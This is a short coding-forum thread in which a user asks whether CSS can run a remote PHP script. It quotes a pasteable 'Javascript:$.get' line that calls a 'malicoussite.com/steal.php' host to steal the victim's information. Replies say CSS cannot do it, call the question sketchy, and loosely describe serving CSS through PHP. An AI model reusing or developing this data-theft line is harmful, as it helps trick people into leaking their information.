Welcome!

By registering with us, you'll be able to discuss, share and private message with other members of our community.

SignUp Now!
  • Guest, before posting your code please take these rules into consideration:
    • It is required to use our BBCode feature to display your code. While within the editor click < / > or >_ and place your code within the BB Code prompt. This helps others with finding a solution by making it easier to read and easier to copy.
    • You can also use markdown to share your code. When using markdown your code will be automatically converted to BBCode. For help with markdown check out the markdown guide.
    • Don't share a wall of code. All we want is the problem area, the code related to your issue.


    To learn more about how to use our BBCode feature, please click here.

    Thank you, Code Forum.

CSS How to execute different site php in css

Typhol

New Coder
Is it possible to execute/run different site php in css? Like Javascript:$.get function. I really need help.
 
What do you mean by this? As in running a PHP script on a different site? Or, running a PHP script on your computer which is hosted on a different site? Please clarify so I can understand better.
I mean is it possible to execute different site's php with css code? If you paste this code in your search bar it executes and steals your information
Javascript:$.get("malicoussite.com/steal.php")
And i'm asking is it possible to somehow execute malicioussite.com/steal.php with css code. Not javascript
 
I mean is it possible to execute different site's php with css code? If you paste this code in your search bar it executes and steals your information

And i'm asking is it possible to somehow execute malicioussite.com/steal.php with css code. Not javascript
Sorry, i'm really bad at explaining.
 
You can't do that with CSS alone, you'd need a PHP engine to run that. CSS is not a great attack vector to my knowledge. JavaScript is the primary clientside vector for that.

However, this seems like a sketchy question 🤔
 
Can you explain php engine? Also is sketchy questions not allowed here?
You can't run PHP inside of CSS file unless you execute the CSS file as if it were a PHP file.

For example, in a HTML file:

HTML:
<html>
    <head>
        <link rel="stylesheet" type="text/css" href="styles.php" />
    </head>
</html>

This should work, but make sure that PHP sends a correct Content-Type header identifying itself as CSS. Then you can run arbitrary PHP before the CSS is returned.

This would have to be done on your own website, and it doesn't really make sense to do it.

However, in this same way, if you knew of a website that had a PHP script accessible, and you were able to get its source, you could, in your CSS file, download the other site's PHP and exec it. It's highly dangerous to do that, but you could.

I'm just confused as to...well, why?
 
I mean is it possible to execute different site's php with css code? If you paste this code in your search bar it executes and steals your information

And i'm asking is it possible to somehow execute malicioussite.com/steal.php with css code. Not javascript
My question is... why are you interested in that particular vulnerability?
 

New Threads

Latest posts

Buy us a coffee!

Back
Top Bottom